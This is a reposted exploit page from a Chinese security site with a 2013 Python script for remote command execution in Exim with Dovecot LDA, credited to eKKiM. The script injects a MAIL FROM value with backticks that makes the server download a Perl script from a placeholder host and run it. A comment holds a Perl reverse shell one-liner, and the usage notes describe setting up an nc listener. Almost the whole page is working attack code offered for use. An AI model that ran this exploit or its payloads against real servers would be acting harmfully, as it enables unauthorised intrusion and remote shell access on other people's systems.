首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Exim sender_address Parameter - RCE Exploit
来源:http://rdtx.eu/exim-with-dovecot-lda-rce-exploit/ 作者:eKKiM 发布时间:2013-06-06  
#!/usr/bin/env python
 
##################################################################################
##      Exim sender_address Parameter - Remote Command Execution Exploit        ##
##################################################################################
##                                                                              ##
## Vulnerability found by RedTeam Pentesting GmbH                               ##
## https://www.redteam-pentesting.de/en/advisories/rt-sa-2013-001/              ##
##                                                                              ##
## Exploit written by eKKiM                                                     ##
## http://rdtx.eu/exim-with-dovecot-lda-rce-exploit/                            ##
##                                                                              ##
##################################################################################
##                                    USAGE                                     ##
##################################################################################
##                                                                              ##
## Edit the PERL REVERSE SHELL MY_CONNECTBACK_IP and MY_CONNECTBACK_PORT and   ##
## upload this perl reverse shell script to a webserver.                        ##
##                                                                              ##
## Edit the PERL_SHELL variable to your own connectback script URL              ##
##                                                                              ##
## Start a listener: nc -vvn -l -p CONNECT_BACK_PORT                            ##
##                                                                              ##
## Let the exploitin begin                                                      ##
##                                                                              ##
##################################################################################
 
 
####### PERL REVERSE SHELL #######
## use Socket;$i="MY_CONNECTBACK_IP";$p=MY_CONNECTBACK_PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
####### PERL REVERSE SHELL #######
 
 
import socket
import sys
 
####### URL TO YOUR CONNECTBACK SHELL #######
PERL_SHELL = "myhost.com/shell.pl"
####### URL TO YOUR CONNECTBACK SHELL #######
 
if len(sys.argv) != 2:
    print "Usage: exim_exploit.py <target_ip> <optional_rcpt_address>"
    print " <target_ip> target you want to test"
    print " <optional_rcpt_address> an address which is accepted by exim (default: postmaster@localhost)"
    exit(1)
 
RCPT_TO = "postmaster@localhost"
HOST = sys.argv[1]
PORT = 25
 
def read_line(s):
    ret = ''
 
    while True:
        c = s.recv(1)
 
        if c == '\n' or c == '':
            break
        else:
            ret += c
 
    return ret
 
 
if len(sys.argv) == 3:
    RCPT_TO = sys.argv[2]
     
print "Exim sender_address Parameter - Remote Command Execution Exploit"
print "Bug discovered by RedTeam Pentesting GmbH"
print "Exploit created by eKKiM"
print ""
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
 
data = read_line(s);
if not(data.startswith("220")):
    print "[ERROR] Is it SMTP Server?"
    exit(1)
     
s.send("EHLO domain.local\n")
s.recv(4096)
 
s.send("MAIL FROM: x`wget${IFS}-O${IFS}/tmp/p.pl${IFS}" + PERL_SHELL + "``perl${IFS}/tmp/p.pl`@blaat.com\n")
 
data = read_line(s);
if not(data.startswith("250")):
    print "[ERROR] MAIL FROM not accepted"
    exit(1)
 
s.send("RCPT TO: " + RCPT_TO + "\n")
data = read_line(s);
if not(data.startswith("250")):
    print "[ERROR] RCPT_TO not accepted"
    exit(1)
 
s.send("DATA\n")
data = read_line(s);
if not(data.startswith("354")):
    print "[ERROR] Cannot send email content"
    exit(1)
     
s.send("x\n.\n")
data = read_line(s);
if not(data.startswith("250")):
    print "[ERROR] email content revoked"
    exit(1)
     
print "[OK] Recieved shell?"
 
s.close()


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PEStudio 3.69 - Denial of Serv
·Mac OSX Server DirectoryServic
·Imperva SecureSphere Operation
·MiniUPnPd 1.0 Stack Buffer Ove
·DS3 Authentication Server Comm
·Plesk Apache Zeroday Remote Ex
·Seowonintech Routers Remote Ro
·Novell Zenworks Mobile Device
·Windows内核EPATHOBJ 0day explo
·Oracle WebCenter Content Check
·Microsoft Internet Explorer te
·Apache Struts includeParams Re
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved